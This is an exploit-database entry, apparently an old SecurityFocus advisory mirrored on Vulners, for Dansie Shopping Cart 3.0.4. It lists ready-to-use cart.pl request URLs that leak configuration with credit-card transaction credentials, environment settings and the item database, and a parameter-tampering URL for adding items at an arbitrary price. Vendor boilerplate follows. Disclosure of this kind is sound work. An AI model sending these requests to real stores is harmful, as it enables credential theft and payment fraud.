dansie shopping cart 3.0.4 - Multiple Vulnerabilities
source: http://www.securityfocus.com/bid/1115/info
Appending specific variables and values to http://target/cgi-bin/cart.pl? will allow remote users to perform certain actions. "vars" will display the configuration settings of the application, which includes the username and password used for credit card transactions. Environmental settings can be obtained using "env'".
The "db" string will list the entire database file containing all items in the shopping cart.
In addition, Dansie Shopping Cart allows remote users to modify shopping cart contents by requesting a certain URL with altered variables.
eg.
http://target/cgi-bin/scripts/cart.pl?name=<Name of item>&price=<Price of product>&sh=<Shipping and handling>&img=<Image file>&return=<Target host>&custom1=<Description of Product>
A new item will appear in the shopping cart on the website with the latest manipulated data.
http://target/cgi-bin/cart.pl?vars
http://target/cgi-bin/cart.pl?env
http://target/cgi-bin/cart.pl?db
http://target/cgi-bin/scripts/cart.pl?name=<Name of item>&price=<Price of product>&sh=<Shipping and handling>&img=<Image file>&return=<Target host>&custom1=<Description of Product>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1